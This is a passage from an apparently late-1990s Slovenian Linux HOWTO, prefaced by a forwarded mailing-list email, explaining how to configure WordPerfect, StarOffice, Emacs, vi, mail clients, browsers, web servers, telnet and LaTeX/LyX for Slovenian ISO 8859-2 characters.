Date: Thu, 24 Dec 1998 11:04:33 +0000
From: "[ALAMUN ALEN" <alen.salamun@uni-mb.si>
To: jaka.mele@lugos.si
Subject: WordPerfect SLO tipkovnica

Hi!

Daj prosim spravi to v mojem imenu na lugos listo, ker je verjetno
trazena roba. Uspelo mi je definirati SLO tipkovnico brez makrojev. Sem na
fax-u pa ne morem poslati jaz na Lugos listo.

LP, Alen

Datoteko SLO.WGK s prireditveno tabelo za slovensko tipkovnico najdete na

ftp://sizif.mf.uni-lj.si/pub/i18n/SLO.WGK

(Andrej Komelj, Message-id: <19981224182341.A3794@perun.mist.si>)

Odgovor na vprasanje: "Kako je s podporo sumnikom v WP-ju 8.0 pod
Linuxom?" se glasi: SLABO.

1. Resitev v obliki "insert symbol -> multinational" je v teoriji
uporabna, vendar... Hja, multinational znaki so v WP Multinational
fontu, le-ta pa je najbolj podoben Roman-WP fontu. Ima "serife", zato
Helvetica in Zurich odpadeta. Vendar se tudi pri Roman-WP pojavijo
tezave, ce se le-tega uporablja v bold, italic ali bold-italic obliki.

2. Resitev v obliki uporabe Type 1 fontov z definiranimi slovenskimi
znaki (kje se jih dobi? odg: poglejte si v Slovenian-HOWTO, ali jih
skopirajte iz OS/2-ja, ce ga imate) pa zal tudi odpade, ker "brezplacna"
verzija WP-ja nima vsebovanega font installerja (xwpfi) in zato kakrsno
koli dodajanje fontov v wp.drs odpade... Skratka, tako kot je nekdo ze
napisal; brezplacen-in-neoskubljen WP je ena velika potegavscina... Za
Americane je mogoce se nekako uporaben, za povprecnega Slovenca, ki pise
tudi slovenska besedila, pa je popolnoma brez vrednosti. :-(

Nazaja k LyX-u in ze sestavljenim vzorcem. :-)

Mimogrede, kaj se je zgodilo z WP-jem?!? Dokler se ni bil v lasti
Corel-a, je znal postavljati stresice na katere koli znake v katerem
koli fontu. Z WP-jem 6.0 za DOS sem tako pisal tekste v TrueType, Type 1
in CG fontih... POVSOD sem lahko uporabljal sumnike. Huh, "napredek" pa
tak.

--
Kome.

Star Office

(Jaka Mele, Vse naredim pod Linuxom!, Win.Ini, l.6, st.9, str.60)

StarOffice je malce tezavnejsi, zato, ker rabi dodatne Type1 fonte, pa vendarle povejmo recept se zanj. Kot prvo si torej moramo dobiti slovenske oziroma latin2 pisave (pfb, afm, fonts.dir in fonts.scale) iz recimo ftp streznika drustva uporabnikov linuxa slovenije ftp://ftp.lugos.si/pub/lugos/arhiv/Type1-Latin2-Fonts/, datoteki l2afm004.zip in l2pfb004.zip). Nato arhiva odpremo v /usr/lib/X11/fonts/Type1.Latin2/, ter ta imenik dodamo v spisek imenikov s pisavami, ki jih uporabi XWindow streznik. To naredimo tako, da v datoteko /etc/X11/XF86Config dopisemo:

FontPath "/usr/X11R6/lib/X11/fonts/Type1.Latin2/"

Za tem pozenemo

xset fp+ /usr/X11R6/lib/X11/fonts/Type1.Latin2/

ter se xset fp rehash. Nato je potrebno v direktoriju /usr/local/StarOffice3-1/x3p/fontmetrics/ za .afm datoteke narediti povezave iz /usr/lib/X11/fonts/Type1.Latin2/. Podobno naredimo se za direktorij /usr/local/StarOffice3-1/x3p/pssoftfonts/, le da sem povezemo .pfb datoteke. Skoraj smo ze na koncu, v datoteko /usr/local/StarOffice-3.1/xp3/psstd.fonts dodamo po vzoru ze dodanih pisav v datoteki fonts.dir iz Latin2 podrocja, vse nove pisave, tako, da namesto npr. arial.pfb pride arial, namesto -0-0-0-0 pa -%d-%d-%d-%d... Saj se takoj vidi. Na koncu si premapirajmo se tipkovnico in sicer s programom xmodmap, tako da izvrsimo xmodmap xmodmap.si. Ce imate starejsi Xwindow sistem, si boste morda morali xmodmap.si se popraviti, da vam bosta tipki Backspace in Delete delali normalno, sicer pa samo pozenete swriter3 in uzivate v dodatnih slovenskih pisavah.

Applixware

(Boris Pozar, Message-Id: <346044BF.FE97E3AF@guest.arnes.si>)

Z Lugosovega streznika snamemo pisave TrueType v kodnem naboru ISO 8859-2. Potem jih kot root s FontManagerjem dodamo v katalog pisav in zadeva je resena.

ftp://ftp.lugos.si/pub/lugos/arhiv/Type1-Latin2-Fonts/l2ttf004.zip

6.4 Urejevalniki

GNU emacs

Emacs je, tako kot njegov avtor, kontroverzni Richard M. Stallman, urejevalnik, glede katerega ljudje niso indiferentni: ali ga obozujejo, ali pa sovrazijo. Emacs je vec kot urejevalnik; je takorekoc nacin zivljenja. V njem lahko pisete programe, iz njega poganjate prevajalnik, pisete besedila, poganjate crkovalnik, poganjate TeX, berete posto in novice... Ko enkrat v resnici dobro obvladate Emacs, imate realne moznosti, da se vam se dobrsen del naslednjega stoletja ne bo treba nauciti nobenega novega urejevalnika. Dokazano pa ljudje shajajo tudi brez njega.

Starejse izdaje programa GNU emacs

Privzeta nastavitev urejevalnika je omejitev na sedembitne znake (ASCII). Nastavitev spremenimo tako, da v datoteko z nastavitvami dodamo naslednjih nekaj vrstic:

;;  Omogocimo izpis znakov s kodo vecjo od 127
(standard-display-european t)

;;  Omogocimo vnos znakov s kodo vecjo od 127
(set-input-mode (car (current-input-mode))
        (nth 1 (current-input-mode))
        0)

Prilagoditev Emacsa je mozno izvesti v eni od naslednjih datotek z nastavitvami:

  • /usr/lib/emacs/site-lisp/site-start.el (skupne nastavitve)
  • ~/.emacs (osebne nastavitve)
  • /usr/lib/emacs/site-lisp/default.el (skupne nastavitve)

Z vnosom in izpisom nasih znakov seveda se ni konec zgodbe o prilagoditvi Emacsa za slovenscino. Zelimo na primer tudi, da se ukaza forward-word in backward-word ne bosta zatikala na nasih znakih, ter da tudi za nase znake pravilno tece pretvarjanje med velikimi in malimi crkami. S starejsimi izdajami Emacsa to ni vedno povsem trivialno. Bralcu bo v veliko pomoc zbirka nasvetov Slovenscina in racunalniki avtorja Alesa Kosirja, v kateri je programu GNU emacs so posveceno obsirno poglavje. Najdete jo na

http://nl.ijs.si/gnusl/tex/tslovene/slolang/slolang.html

GNU emacs 20

Z zadnjo izdajo urejevalnika Emacs in standardno slovensko tipkovnico je prilagoditev posebno enostavna. Vse, kar potrebujemo, je

;;; Turn on Latin-2 both as input and output method (Emacs 20.*
;;; and onwards)
(set-language-environment "Latin-2")
Kasneje lahko nacin Latin-2 izberemo za vnos in izpis v menuju Mule / Set Language Environment / European / Latin-2.

crisp

Crisp je urejevalnik v duhu urejevalnika Brief z burno zgodovino. Napisal ga je Paul Fox iz Anglije in ga distribuiral kot ``program na pokusino'' (shareware). Zadnja taksna razlicica je 2.2e iz leta 1991 in je po nekaterih vesteh avtor ne podpira vec. Novejse (trenutno 5.1) pa trzi podjetje Vital, Inc. iz Teksasa, ZDA. Crisp je nekako blizje pecejevskemu duhu, kot pa sta Emacs in Vi; ce se nobenega od teh dveh ne morete navaditi, je morda Crisp prava izbira.

Privzeta nastavitev urejevalnika Crisp 2.2e je, da znakov s kodami od 127 dalje ne prikaze, ampak izpise njihovo sestnajstisko kodo, ki jo uvede z znakoma \x. Pomaga, ce nalozimo paket z izvorno kodo Crisp in v datoteki $(SRC)/crisp2.2e/src/crunch/tty/xterm.cr popravimo drugi argument funkcije set_term_features() iz NULL na "%c". Popravljeni makroukaz prevedemo:

crunch xterm.cr
Rezultat, popravljeni xterm.cm, postavimo med ostale, navadno v imenik /usr/local/lib/crisp/macros/tty.

Makro xterm velja, kot bi iz imena sami uganili, za Crisp, pognan v oknu XTerm znotraj X Window System. Enaka intervencija piscu teh vrstic ni uspela na linux.cr (konzola) in xcrisp.cr (razlicica Crisp za X11). Poleg tega se je na starejsi verziji Linuxa (1.0.8) crunch pritozeval nad predprocesorjem za C, /lib/cpp. Pomagala je logicna povezava:

ln -s  /usr/lib/gcc-lib/i486-linux/2.5.8/cpp /lib/cpp

Ales Kosir je napisal za Crisp makro slovene:

http://nl.ijs.si/gnusl/tex/tslovene/src/slovene.cr
Z njim lahko vnasamo nase znake tudi na tipkovnicah, ki nimajo primernih tipk na nacin: namesto c vtipkamo "c, makro pa pretvori zaporedje v ustrezen znak. Poleg ISO Latin 1 podpira se nekaj drugih kodiranj, ki so v uporabi v nasih krajih. Navodila za uporabo so na voljo tudi prek WWW:
http://nl.ijs.si/gnusl/tex/tslovene/slolang/

Del distribucije Caldera OpenLinux je tudi ``lahka'' izvedba urejevalnika Crisp, CRiSP LiTE. Caldera ponuja tudi moznost kasnejse ugodnejse nadgraditve na polno izvedbo. CRiSP LiTE nima zgoraj opisanih tezav z vnosom osembitnih znakov.

vi

Urejevalnik vi izvira iz sive davnine Unixa. Zaradi tezav z licencnino najdete na sistemih Linux namesto originalnega Vi navadno urejevalnik vim (Vi IMproved) avtorja Brama Moolenaarja, vcasih pa tudi ``elvis'', delo Steva Kirkendalla, ali nvi iz distribucije BSD 4.4. Ideje, na katerih temelji ``vi'' so v temeljih ortogonalne na vse, kar ste se o urejevalnikih naucili pod MS-DOS. Kljub temu pa je glede na to, da je ``vi'' edini urejevalnik, ki zanesljivo obstaja na cisto vsakem Unixu, pametno poznati nekaj osnovnih ukazov za delo z njim.

Po izkusnjah pisca tako originalni vi kot tudi vim sama po sebi brez tezav prepuscata osembitne znake. Tezave lahko vcasih povzrocajo zunanji programi, ki jih klicemo iz urejevalnika (npr. fmt za poravnavanje besedila). Navadno pomaga, ce v ~/.profile dolocimo spremenljivko LC_CTYPE (glej poglavje Slovenski locale).

6.5 Elektronska posta

Pine

Pine najprej prebere skupne nastavitve iz /usr/local/lib/pine.conf (ali /etc/pine.conf, zatem pa se osebne nastavitve iz ~/.pinerc. V enem ali drugem poiscemo niz character-set in postavimo to spremenljivko na ISO-8859-2:

...
# character-set should reflect the capabilities of the display
# you have. Normal default is US-ASCII.  Typical alternatives
# include ISO-8859-x, where x is a number between 1 and 9.
character-set=ISO-8859-2
...

elm

Opozorilo: pisec ze dolgo ne uporablja vec tega programa in zapisanega ni preveril. Danski in nemski HOWTO trdita, da je bodisi dovolj v ukazni lupini postaviti spremenljivko LANG na vrednost iso_8859_1, bodisi v konfiguracijski datoteki ~/.elm/elmrc nastaviti vrednosti naslednjih spremenljivk:

...
charset=iso-8859-1
displaycharset=iso-8859-1
textencoding=8bit
...
Vse ISO 8859-1 bi bilo pri nas verjetno potrebno nadomestiti z ISO 8859-2.

Se enkrat prosim koga, ki ta program v resnici uporablja, da opise svoje izkusnje.

Netscape Mail

V Netscape Mail 4.06 je mozno pisati nase znake v telesu sporocila, ne pa tudi v glavi. Ko imamo enkrat namescene nase pisave in urejeno preslikavo tipkovnice (razdelka Pisave pod X11 in Tipkovnica pod X11), le se v menuju View postnega programa izberemo ``Encoding'', tam pa ``Central European (ISO-8859-2)''.

Vesel bom opisa izkusenj z drugimi izdajami programa Netscape Mail.

6.6 Svetovni splet

Lynx

Lynx pozna od izdaje 2.5 dalje tudi kodno stran ISO 8859-2. Nastavimo jo lahko na enega od treh nacinov. Prvi je, da izberemo O)ptions, zatem pa C)harset, ter z pritiskanjem na kurzorske puscice izberemo zeljeni nabor znakov. Drugi je, da v datoteki ~/.lynxrc (osebna nastavitev) nastavimo

character_set=ISO Latin 2
In zadnji je, da v datoteki /usr/lib/lynx.cfg (skupna nastavitev)
CHARACTER_SET:ISO Latin 2

Netscape Navigator

(Metod Kozelj, Message-id: <Pine.HPP.3.96.981216083349.17728E-100000@hmljhp.rzs-hm.si>)

Netscape Navigator, pa tudi brkljalnik iz Netscape Communicator, uporabljata nabor znakov, ki ga nudi X Windows System. Za prikaz nasih znakov je torej najprej namestiti pisave za X11 (poglavje Pisave pod X11). Ko Navigator zazenemo, sam ugotovi, da so na voljo tudi pisave za 'Central European (ISO-8859-2)'. Ce pregledujemo stran, ki brkljalniku pravilno sporoci uporabljeni nabor znakov, potem Navigator avtomaticno uporabi pisavo s pravim kodnim naborom. Seveda lahko spremenimo osnovno velikost crk ali pa obliko za proporcionalno pisavo.

To storimo tako, da v 'Edit / Preferences / Appearance / Fonts' dolocimo, da spreminjamo nastavitve za srednjeevropske pisave ('For the Encoding / Central European (iso-8859-2)'), potem pa izberemo, s katero pisavo naj Navigator prikazuje tekste. Navigator nam sam ponudi le pisave s pravim naborom znakov.

Ce pregledujemo strani, ki imajo sicer pravilen razpored crk (razpored ISO 8859-2 in ne Windows-1250), pa Navigator ne uporabi pisave s pravim razporedom crk, lahko razpored preklopimo rocno z izbiro ,,View / Encoding / Central European (ISO-8859-2)``.

Ob izbiri pisave s pravilnim razporedom crk in ob pravilnem razporedu tipk na tipkovnici lahko uporabljamo nase crke tudi pri pisanju v modulu 'Page Composer'.

Netscape Communicator 4.06 in novejsi znajo na Unixih, ki imajo namescene pisave ISO 8859-2, prikazati tudi strani, napisane v kodni strani Microsoft CP1250, oznacene kot windows-1250 v glavi.

Spletni strezniki

Opomba: spodnje besedilo je prevod navodil ,,Configuring WWW Server for ISO 8859-2`` http://sizif.mf.uni-lj.si/linux/cee/app/httpd.html, ta pa se v veliki meri naslanjajo na besedilo Marka Martinca ,,Resitev problema slovenskih sumnikov v HTML dokumentih`` http://www.ijs.si/doc/www-csz.html.

Nacela

  1. Dolocilo HTTP zahteva, da prenosni protokol HTTP prenasa tok podatkov brez omejitve na nabor ASCII ali izpisljive znake. To vkljucuje osembitne znake, sestnajstbitne znake kot npr. ISO10646 ali daljnovzhodne jezike, slike, animacije, zvok ipd.
  2. Vsebino spisa doloca glava MIME (vrstica Content-Type. To je edina informacija o zvrsti informacije, ki jo ima na voljo brskalnik, zato mora odrazati pravo vsebino spisa.
  3. Privzeto kodni razpored (terminologija MIME/HTTP uporablja izraz ,,nabor znakov``) za spise HTML je ISO 10646 oz. njegova osembitna podmnozica ISO 8859-1. Vsak spletni brskalnik mora biti zmozen prikazati spis HTML, ki uporablja kodni razpored ISO 8859-1. Glava MIME za spise HTML, kodirane po ISO 8859-1, je:
    Content-Type: text/html
  4. Dolocilo HTTP dovoljuje, da z dodatnim dolocilom charset v vrstici Content-Type glave MIME izberemo drug kodni razpored. Naceloma je dovoljen katerikoli kodni razpored, registriran pri IANA Character Set Registry. Iz prakticnih razlogov pa je priporocljivo, da se omejimo na naslednje entitete HTTP:
    charset = "US-ASCII"
             | "ISO-8859-1" | "ISO-8859-2" | "ISO-8859-3"
             | "ISO-8859-4" | "ISO-8859-5" | "ISO-8859-6"
             | "ISO-8859-7" | "ISO-8859-8" | "ISO-8859-9"
             | "ISO-2022-JP" | "ISO-2022-JP-2" | "ISO-2022-KR"
             | "UNICODE-1-1" | "UNICODE-1-1-UTF-7" | "UNICODE-1-1-UTF-8"
             | token
    Entiteta, ki je definirana pri IANA Character Set Registry, mora predstavljati nabor znakov, kot je bil prijavljen pri IANA. Prazna entiteta implicira nabor ISO 8859-1 (kar vkljucuje US-ASCII, ki je njegova podmnozica). Spise HTML, kodirane v skladu s kodnim razporedom ISO 8859-2, morajo potemtakem vsebovati v glavi MIME vrstico
    Content-Type: text/html; charset=ISO-8859-2
    Pri tem presledek med podpicjem in charset=ISO-8859-2 ni obvezen.
  5. Numericne entitete oblike &#nnn; dolocajo pismenko s kodo nnn v referencnem razporedu znakov (ISO 8859-1 oz. ISO 10646), ne pa v trenutno izbranem. Na ta nacin torej sploh ne moremo uporabljati nasih znakov, kodiranih skladno s kodnim razporedom ISO 8859-2, lahko pa uporabimo 16-bitne kode ISO 10646. Crko c (mali C s kljukico) lahko torej zapisemo kot &#269;. In samo tako.

Prakticni oziri

Kdaj je uporaba kodnega razporeda ISO 8859-2 priporocljiva, kdaj pa ne? Znotraj intraneta (notranjega informacijskega sistema) v okolju, kjer se uporablja ISO 8859-2, je morda smiselno ta razpored uporabiti za vse spise. Ce pa je informacija namenjena sirsemu obcinstvu, pa je potrebno vedeti, da je uporabniki zunaj srednje ali vzhodne Evrope, kjer se ta kodni razpored uporablja, informacije morda ne bodo mogli prikazati. Veljavno dolocilo prenosnega protokola HTTP namrec od spletnih brskalnikov ne zahteva, da prikazejo spise HTML, ki uporabljajo kodni razpored ISO 8859-2. V primeru, da brskalnik ne zmore prikazati strani v zahtevanem kodnem razporedu, lahko ta problem ignorira in stran (nepravilno) prikaze v nekem drugem kodnem razporedu (navadno ISO 8859-1), ali pa ponudi, da spis shranimo na disk. Zato je priporocljivo, da vstopne tocke v vas informacijski sistem ne uporabljajo kodnih razporedov, razlicnih od ISO 8859-1.

Podrobnosti izvedbe

Obdelali bomo tri metode, s katerimi lahko spletni streznik prilagodimo, da pravilno postreze uporabniku s spisom, kodiranim po ISO 8859-2:

  • dolocitev nove pripone za staticne spise, kodirane po ISO-8859-2, in vezava le-te na na primeren tip spisa v glavi MIME
  • dinamicno prekodiranje spisov
  • uporaba posebnosti streznika ali brskalnika

Dolocitev nove pripone za staticne spise

Ob zahtevku za spis vecina spletnih streznikov izve zvrst staticnih spisov iz pripone datoteke ter na osnovi tega izdela glavo MIME, s katero opremi spis, preden ga izroci prejemniku. Vec razlicnih pripon lahko ustreza isti zvrsti spisa (priponi .jpeg in .jpg na primer obe dolocata zvrst image/jpeg), obratno pa ne - ena pripona lahko doloca kvecjemu eno zvrst spisa.

Nobene splosne metode ni, ki bi dovoljevala uporabo pripone .html za spletne spise, kodirane bodisi v skladu s kodnim razporedom ISO 8859-1, bodisi ISO 8859-2, in pricakovala od spletnega streznika, da se bo nekako odlocil, s kaksno glavi MIME bo opremil ene in druge. Ena moznost je vsekakor, da pripono .html trajno vezemo na zvrst spisov HTML, kodirani skladno s kodnim razporedom ISO 8859-2. Ta resitev ima seveda ocitno pomanjkljivost za obcinstvo, ki ne more prikazati tega nabora znakov.

Tukaj predlagana resitev izkorisca zmoznost spletnih streznikov, da dolocijo novo pripono datoteke in jo vezejo na zvrst spisa text/html; charset=ISO-8859-2 v glavi MIME. To moznost podpira vecina spletnih streznikov. Streznika W3C ter NCSA httpd (ter vse njune izpeljanke, npr. Apache) uporabljata ukaz AddType v nastavitveni datoteki za vezavo dodatnih zvrsti spisov na nove pripone datotek. Z enostavno in domisleno shemo (glej Resitev problema slovenskih sumnikov v HTML dokumentih lahko zagotovimo pravilne glave MIME za zvrsti spisov, ki uporabljajo kodne razporede, razlicne od ISO 8859-1. Ce na primer dolocimo pripono .html-l2 za spise, kodirane skladno s kodnim razporedom ISO 8859-2, moramo v nastavitveni datoteki dodati vrstico:

  • Streznik W3C httpd (CERN httpd): v datoteki httpd.conf dodamo:
    AddType  .html-l2     text/html;charset=ISO-8859-2  8bit 1.0
  • Streznik NCSA httpd: v datoteki srm.conf dodamo:
    AddType  text/html;charset=ISO-8859-2   .html-l2
  • Streznik Apache se od NCSA httpd razlikuje samo po manjkajoci piki: v datoteki srm.conf dodamo:
    AddType  text/html;charset=ISO-8859-2   html-l2

Dinamicno prekodiranje

Na vsakem spletnem strezniku, ki podpira vmesnik Common Gateway Interface (CGI) lahko izvedemo dinamicno prekodiranje spletnih spisov. Poleg dobrih strani (iz enega samega izvora lahko ponudimo spletni spis v mnogo razlicnih kodnih razporedih) ima ta metoda tudi slabe: pretvarjanje spisa po eni strani porablja procesorski cas streznika, po drugi pa dinamicnih spisov posredniki (angl. proxy) navadno ne shranjujejo v medpomnilniku, zato z njimi dodatno obremenjujemo komunikacijske vode.

Primera skriptov, ki izvajata dinamicno prekodiranje:

  • slovene - paket za dinamicno pretvarjanje spletnih spisov iz kodnega razporeda JUS I.B1.002 v CP852, CP1250, ISO 8859-2 ter US-ASCII (s precrkovanjem iz CSZ v CSZ). Avtor Tadej Vodopivec, Ljubljana, Slovenija.
  • pl-conv - skript v Perl za dinamicno pretvarjanje kodiranja spletnih spisov med ISO 8859-2, CP852, CP1250, Mazowia, Apple RomanCE in US-ASCII (s precrkovanjem). Avtor Jaroslaw Strzalkowski, Krakow, Poljska.

Sledijo tri resitve, ki uporabljajo posebnosti in nestandardne razsiritve programske opreme. Prvi dve se nanasata na spletni streznik, zadnja na priljubljeni spletni brskalnik Netscape Navigator. Istega problema se je lotil G. Nicol s predlogom ``MIME Header Supplemented File Type''.

Metainformacija za spletni streznik W3C

Spletni streznik W3C (nekoc poznan kot CERN WWW) omogoca dodajanje metainformacije v glave MIME odhodnih spisov.

Po privzeti nastavitvi isce streznik metainformacije v datotekah s pripono .meta podimenik .web imenika s spisi. Ce na primer spletne spise hranimo v imeniku /WWW/Hypertext in zelimo opremiti spis isolatin2.html v njem s pravilno glavo MIME, napravimo to takole:

  • Ce se ne obstaja, najprej ustvarimo podimenik .web:
    $ mkdir /WWW/Hypertext/.web
  • Zatem v tem podimeniku ustvarimo datoteko z metainformacijami. Za datoteko isolatin2.html se bo ta imenovala isolatin2.html.meta. Datoteka mora vsebovati glavo MIME v obliki, kot jo predpisuje format RFC822. V nasem primeru je to ena sama vrstica:
    Content-Type: text/html; charset=ISO-8859-2

Datoteke ASIS za streznik Apache

Streznik Apache doloca poseben tip datoteke, imenovan ASIS. Streznik poslje datoteko ASIS odjemniku natancno taksno, kot je (angl. ``as is''), ne da bi jo opremil z glavo, ki jo sicer zahteva protokol HTTP. Datoteka sama mora zato vsebovati vsa potrebna polja, ki jih zahteva protokol HTTP, tem sledi prazna vrstica in vsebina spisa HTML.

V nastavitveni datoteki za streznik dolocimo, da pripona .asis pripada zvrsti spisa httpd/send-as-is:

AddType httpd/send-as-is asis

Primer datoteke ASIS:

Status: 200 OK
Content-Type: text/html; charset=ISO-8859-2

<HTML>
<HEAD>
<TITLE>Hello world</TITLE>
</HEAD>
<BODY>
<H1>Zivjo svet!</H1>
</BODY>
</HTML>

Kot vidite, morate v datoteko vkljuciti tudi tromestno odzivno kodo streznika. Streznik vedno doda polji Date: in Server:, zato teh ne smemo vkljuciti v datoteko.

Znacka <META> z oznacbo HTTP-EQUIV

V dolocilu HTTP 2.0 predlagana znacka <META> z oznacbo HTTP-EQUIV je bila predlagana kot neobvezna metoda, s katero lahko streznik potegne dodatno metainformacijo iz zaglavja (<HEAD>) spletnega spisa in jo uporabi pri tvorjenju glave MIME. Piscu teh vrstic ni znano, da bi kateri streznik to v resnici tudi pocel. Tovrstno razclenjevanje spletnih spisov verjetno predstavlja preveliko obremenitev za procesor in bi se mocno poznalo pri odzivnosti spletnega streznika. Pac pa so namesto tega zaceli to informacijo uporabljati spletni brskalniki (Netscape Navigator, na primer, to pocenja od izdaje 2.0 dalje).

Primer spisa z metainformacijo o uporabljenem kodnem razporedu v zaglavju spisa:

<HTML>
<HEAD>
  <TITLE>Naslov<TITLE>
  <META HTTP-EQUIV="Content-Type"
      CONTENT="text/html; charset=ISO-8859-2">
</HEAD>

<BODY>
Besedilo...
</BODY>
</HTML>

6.7 Delo na oddaljenem racunalniku

Z ukazoma telnet ali rlogin lahko prek omrezja TCP/IP delamo na drugem racunalniku.

Tezave z osembitnimi znaki pri tem so redko posledica napacne nastavitve v maloprej omenjenih programov, saj privzeti nastavitvi pri obeh podpirata osembitne znake. V primeru tezav se poleg teh programov splaca pogledati se

  • nastavitev ukazne lupine (poglavje Ukazne lupine)
  • nastavitev terminala (fizicnega ali virtualnega). Eksplicitno ga lahko nastavimo z ukazom
    stty -parenb -istrip cs8
  • in na koncu res nastavitev programov telnet ali rlogin

Telnet

Telnet eksplicitno pripravimo do vzpostavitve osembitne zveze z ukazom toggle binary:

~> telnet
telnet> toggle binary
Negotiating binary mode with remote host.
telnet> open racunalnik

Telnet omogoca tudi, da si nastavitve za izbrane racunalnike vnesemo v nastavitveno datoteko, ~/.telnetrc. Vnosi imajo obliko:

...
biofiz.mf.uni-lj.si
        set binary true
...

rlogin

Privzet nacin zveze pri programu ``rlogin'' je osembiten, eksplicitno pa lahko to dolocimo z dolocilom ``-8'':

rlogin racunalnik -8

6.8 TeX in LaTeX

Poslovenjenje paketa LaTeX obsega

  • 7- in 8-bitni nacin vnosa nasih znakov
  • nacin izpisa nasih znakov
  • poslovenjenje izpisov ``Contents'', ``Figure'' ipd.
  • slovenska pravila za deljenje besed
  • prilagoditev programa LyX: vizualnega okolja za vnos besedil v LaTeX in Linuxdoc DTD
Urejanje stvarnega kazala po slovenski abecedi zaenkrat se ne gre avtomaticno. Pokazemo, kako lahko tezavo z nekaj truda obvozimo.

Podporo za neangleske jezike v LaTeXu je poenotil paket babel Johannesa Braamsa z Nizozemske, ki je standardni del vseh sodobnih distribucij paketa TeX na Linuxu, kot sta teTeX in NTeX:

ftp://sunsite.informatik.rwth-aachen.de/pub/comp/tex/teTeX/
http://web.mathematik.uni-stuttgart.de/ntex/WWW/

Z uporabo izbire ``slovene'' v paketu babel se avtomaticno izberejo slovenska imena pod- in nadnapisov, naslovov ipd., slovenska pravila za zlogovanje besed (ce imamo namescene slovenske zlogovalne vzorce; poglavje Slovenska pravila za deljenje besed), in 7-bitni nacin vnosa znakov "c"s"z:

\usepackage[slovene]{babel}

V novi razlicici LaTeXa (LaTeX2e) lahko s paketoma fontenc in inputenc izberemo tudi 8-bitno kodno tabelo T1 (znano tudi kot DC ali Cork) in 8-bitni vnos znakov. Primer celotnega spisa v LaTeXu:

\documentclass[a4paper]{article}
\usepackage[slovene]{babel}
\usepackage[T1]{fontenc}
\usepackage[latin2]{inputenc}
\begin{document}
Ceprav se pouk na zeleznicarski soli v Sentvidu obicajno konca
sele ob stirih, odpesacijo ucenci iz obcin Zelimlje in Zetale domov
ze cetrt cez tri.
\end{document}

LaTeX 2.09

V starejsi razlicici paketa LaTeX, LaTeX 2.09, ne moremo uporabiti mehanizma inputenc. Pomagamo si s stilom latin2.sty Andreja Brodnika. Primer uporabe:

\documentstyle[latin2]{article}
\begin{document}
...
\end{document}
Stil latin2 je na voljo na vseh streznikih CTAN, npr.
ftp://ftp.dante.de/tex-archive/macros/latex209/contrib/latin2/

Slovenska pravila za deljenje besed

Datoteko s slovenskimi pravili za zlogovanje besed je v okviru svoje diplomske naloge leta 1990 izdelal Matjaz Vrecko, in jo predal v last slovenskemu drustvu uporabnikov sistema TeX (TeXCeH). Na voljo je za individualno uporabo brez namena pridobivanja premozenjske koristi. Od leta 1995 dalje zanjo skrbi dr. Leon Zlajpah z IJS, ki jo je posredoval tudi skrbniku sistema sistema babel za tujejezicno podporo v sistemu TeX, Johannesu Braamsu. Sistem babel praviloma dobimo skupaj z distribucijo sistema TeX. Trenutno zadnja izdaja je 2.3, datirana 1997-04-15.

V distribuciji teTeX, ki je najbolj priljubljena distribucija na Unixu, vklopimo podporo za slovenske delilne vzorce tako, da kot administrator pozenete program texconfig. V menuju izberemo moznost HYPHEN - hyphenation table (tex/latex). Program texconfig pri tej izbiri pozene urejevalnik vi in vanj nalozi datoteko language.dat. Za tiste, ki ga ne poznate, najnujnejse o uporabi le-tega: levo, desno, gor in dol po besedilu se premikate s tipkami h, l (mali L), j in k. Znak pobrisete tako, da kurzor pripeljete nanj in pritisnete tipko x. Datoteko shranite in zakljucite z delom s pritiskom na tipko Esc in vpisom :wq (dvopicje, mali W, mali Q), ki mu sledi Enter. Oborozeni s tem znanjem v datoteki language.dat pobrisemo komentar (znak za procent) pred zapisom slovene sihyph22.tex, shranimo in zapustimo urejevalnik. Program texconfig bo avtomaticno ustvaril nove formatne datoteke z vgrajenimi delilnimi vzorci.

Pisec teh vrstic je imel nepojasnjene tezave z datoteko sihyph22.tex, ki so enako cudezno izginile, ko mu je dr. Zlajpah poslal novo izdajo slovenskih delilnih vzorcev. Dobimo jo lahko na ftp://sizif.mf.uni-lj.si/pub/i18n/tex/sihyph23.tex in jo postavimo ob bok stari datoteki, navadno v imenik /usr/TeX/texmf/tex/generic/hyphen/. Pozenemo texconfig, tam najprej osvezimo seznam datotek (izbira REHASH - rebuild ls-R database), zatem pa ponovimo postopek iz prejsnjega odstavka, s tem, da ime sihyph22.tex popravimo v sihyph23.tex.

Dodatne informacije o slovenski skupini uporabnikov TeX najdete na

http://vlado.fmf.uni-lj.si/texceh/texceh.htm

LyX

(Roman Maurer, <roman.maurer@fmf.uni-lj.si>)

Ce uporabljamo LyX s standardno slovensko tipkovnico (102/105 tipk), ga lahko enostavno prilagodimo za delo s slovenscino:

  1. Tipkovnica v strezniku Xwindow mora biti nastavljena tako, da z njo v splosnem lahko vnasamo nase znake (to je opisano v razdelku X Window System poglavja ``Tipkovnica'').
  2. Pozenemo LyX in nastavimo:
    Options / Screen Fonts / Font Norm = iso8859-2
    Zal izgleda, da LyX tega podatka nikamor ne shrani. Zato moramo rocno dodati v datoteko lyxrc (sistemska je navadno v imeniku /usr/share/lyx/, uporabniska pa v ~/.lyx/) naslednjo vrstico:
    \font_norm iso8859-2
  3. Odpremo (nek) dokument in izberemo:
    Layout / Document / Language = slovene
Layout / Document / Encoding = latin2
Layout / Paper / Papersize = A4
Layout / Quotes = ,,text`` & Double
  4. Ce zelimo te nastavitve uporabljati v vseh nasih dokumentih (in to seveda zelimo), uporabimo se izbiro
    Layout / Save layout as default
  5. Kadar uporabimo razred "letter" namesto "article", odgovorimo pritrdilno na vprasanje:
    "Should I set some parameters to letter the defaults
of this document class?"

Zaradi napake v LyXu do vkljucno 1.0.0pre2 ni mogoc vnos 8-bitnih znakov v matematicnem tekstovnem nacinu (math text mode). Pomagamo si tako, da postavimo kar celo formulo kot TeXovo kodo ("tex-mode" - s tem sicer izgubimo WYSIWYG). Razvijalci LyX-a so o napaki obvesceni in jo bodo verjetno popravili v naslednjih izdajah.

7-bitni vnos sumnikov kot "c"s"z je otezen, ker LyX avtomaticno pretvori dvojni narekovaj v dva enojna. Prva misel je, da si lahko spet pomagamo z izbiro "tex-mode", udobnejsa moznost pa je, da predefiniramo dvojni narekovaj. V datoteko emacs.bind (ali pa cua.bind, kar ze uporabljamo) dodamo vrstico:

\bind "S-quotedbl" "accent-caron"

Nase znake bomo zdaj dobili s pritiskom na "c"s"z. S tem zal izgubimo avtomaticno pretvarjanje dvojnega narekovaja v dva enojna, a vsega pac ne moremo imeti...

